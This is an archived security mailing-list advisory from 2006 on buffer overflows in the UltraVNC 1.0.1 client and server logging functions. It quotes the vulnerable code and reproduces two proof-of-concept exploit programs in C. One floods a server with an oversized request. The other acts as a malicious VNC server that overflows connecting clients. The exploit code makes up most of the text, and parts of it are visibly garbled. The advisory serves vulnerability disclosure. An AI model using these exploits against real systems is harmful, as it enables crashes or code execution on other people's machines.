

[NT] Ultr@VNC Multiple Buffer Overflows

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00013.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 5 Apr 2006 15:06:20 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Ultr@VNC Multiple Buffer Overflows

SUMMARY

" <<http://ultravnc.sourceforge.net/>> UltraVNC is an easy to use, fast and free software that can display the screen of another computer (via internet or network) on your own screen. "

Lack of proper length validation in server and client input allows attackers to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Ultr@VNC version 1.0.1

client Log::ReallyPrint buffer-overflow:

During the login process a VNC client can receive three types of replies from the server: connection failed, no authentication and authentication required.

The first type of reply (rfbConnFailed) is followed by a text string containing the reason of the disconnection.

Before visualizing this message Ultr@VNC logs everything in the log file using the `vnclg.Print` function which adopts a buffer of 1024 bytes

[NT] Ultr@VNC Multiple Buffer Overflows

(LINE_BUFFER_SIZE) for storing the text.

The result is that a malicious VNC server could be able to execute malicious code versus a vulnerable Ultr@VNC client which connects to it.

Code Snips:

From vncviewer/Log.cpp:

```
void Log::ReallyPrint(LPTSTR format, va_list ap)
{
    TCHAR line[LINE_BUFFER_SIZE];
    _vstprintf(line, format, ap);
    if (m_todebug) OutputDebugString(line);

    if (m_toconsole) {
        DWORD byteswritten;
        WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), line,
            _tcslen(line)*sizeof(TCHAR), &byteswritten, NULL);
    };

    if (m_tofile && (hlogfile != NULL)) {
        DWORD byteswritten;
        WriteFile(hlogfile, line, _tcslen(line)*sizeof(TCHAR),
            &byteswritten, NULL);
    }
}
```

server VNCLog::ReallyPrint limited buffer-overflow:

The logging function used by the Ultr@VNC server is affected by a limited buffer-overflow caused by two strcat calls which add a Windows error message to the output buffer.

Anyway there is an important detail about the exploitation of this bug. The server is not vulnerable if the admin doesn't touch the "Log debug infos to the WinVNC.log file" flag in the configuration, but when the admin enables this option his server will be vulnerable forever although he will re-disable it.

Code Snips:

From winvnc/winvnc/vnclog.cpp:

```
void VNCLog::ReallyPrint(const char* format, va_list ap)
{
    time_t current = time(0);
    if (current != m_lastLogTime) {
        m_lastLogTime = current;
        ReallyPrintLine(ctime(&m_lastLogTime));
    }

    // - Write the log message, safely, limiting the output buffer
```

[NT] Ultr@VNC Multiple Buffer Overflows

```
size
TCHAR line[LINE_BUFFER_SIZE];
TCHAR szErrorMsg[LINE_BUFFER_SIZE];
DWORD dwErrorCode = GetLastError();
SetLastError(0);
FormatMessage(
    FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwErrorCode,
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(char *)&szErrorMsg,
    LINE_BUFFER_SIZE, NULL);
_vsnprintf(line, LINE_BUFFER_SIZE, format, ap);
strcat(line, " ---");
strcat(line, szErrorMsg);

ReallyPrintLine(line);
}
```

Exploit:

The winerr.h header can be found at:

<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>

unvncbof.c:
/*

by Luigi Auriemma

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1

#endif

#define VER "0.1"
```

[NT] Ultr@VNC Multiple Buffer Overflows

```
#define PORT 5800
#define BOFSZ 1024

int create_rand_string(u_char *data, int len, u_int *seed);
u_int resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    u_int seed;
    int sd,
        i,
        len;
    u_short port = PORT;
    u_char buff[4096];

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Ultr@VNC <= 1.0.1 VNCLog::ReallyPrint bug "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@xxxxxxxxxxxxxx\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n"
            "Note: although the bug is a buffer-overflow, I have found"
            "only a limited way\n"
            "(something like an off-by-one) to exploit it versus the"
            "server\n"
            "Note also that in some cases (for example where it has"
            "not been"
            "configured yet or the logging function has been never"
            "enabled) the server"
            "will not crash\n"
            "\n", argv[0], port);
        exit(1);
    }

    seed = time(NULL);

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
```

```
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

printf("- connect...");
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf(" done\n");

len = sprintf(buff, "GET /");
len += create_rand_string(buff + len, BOFSZ, &seed);
len += sprintf(buff + len, "\r\n\r\n");

printf("- send BOF HTTP request\n");
if(send(sd, buff, len, 0)
< 0) std_err();

printf("- wait some seconds\n");
for(i = 3; i >= 0; i--) {
printf("%3d\r", i);
sleep(ONESEC);
}

close(sd);
printf("- finished, check it manually\n");
return(0);
}

int create_rand_string(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p = data;
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNPOQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyztz";

rnd = *seed;

while(len--) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3;
*p++ = table[rnd % (sizeof(table) - 1)];
}
*p = 0;

*seed = rnd;
```

```
return(p - data);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}

#ifdef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
/* EOF */

uvncbofc.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
```

[NT] Ultr@VNC Multiple Buffer Overflows

```
#define VER "0.1"
#define PORT 5900
#define BOFSZ 1024
#define HEAD "RFB 003.006\n"

void std_err(void);

int main(int argc, char *argv[]) {
  struct sockaddr_in peerl;
  u_int seed;
  int sdl;
  sd;
  len;
  on = 1;
  psz;
  u_char buff[4096];

#ifdef WIN32
  WSADATA wsadata;
  WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

  setbuf(stdout, NULL);

  fputs("\n"
  "Ultr@VNC <= 1.0.1 client Log::ReallyPrint buffer-overflow"
  "VER"\n"
  "by Luigi Auriemma\n"
  "e-mail: aluigi@xxxxxxxxxxxxx\n"
  "web: http://aluigi.altervista.org\n"
  "\n", stdout);

  peerl.sin_addr.s_addr = INADDR_ANY;
  peerl.sin_port = htons(PORT);
  peerl.sin_family = AF_INET;

  printf("- bind port %hu\n", PORT);
  sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if(sdl < 0) std_err();
  if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
  < 0) std_err();
  if(bind(sdl, (struct sockaddr *)&peerl, sizeof(peerl))
  < 0) std_err();
  if(listen(sdl, SOMAXCONN)
  < 0) std_err();

  psz = sizeof(peerl);
  seed = time(NULL);

  fputs("- clients:\n", stdout);
```

[NT] Ultr@VNC Multiple Buffer Overflows

```
for(;;) {
sd = accept(sdl, (struct sockaddr *)&peerl, &psz);
if(sd < 0) std_err();

printf(" %s:%hu\n",
inet_ntoa(peerl.sin_addr), ntohs(peerl.sin_port));

// this is only a simple PoC, so no threads and no checks
if(send(sd, HEAD, sizeof(HEAD) - 1, 0) <= 0) goto quit;

len = recv(sd, buff, 12, 0); // no need to check real
recv
if(len <= 0) goto quit;

*(u_int *)buff = htonl(0); // connection failed
*(u_int *)(buff + 4) = htonl(BOFSZ); // size of the error
memset(buff + 8, 'A', BOFSZ); // error
if(send(sd, buff, 8 + BOFSZ, 0) <= 0) goto quit;

quit:
close(sd);
}

close(sdl);
return(0);
}

#ifdef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:
<<http://aluigi.altervista.org/adv/uvncbof-adv.txt>>
<http://aluigi.altervista.org/adv/uvncbof-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

[NT] Ultr@VNC Multiple Buffer Overflows

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.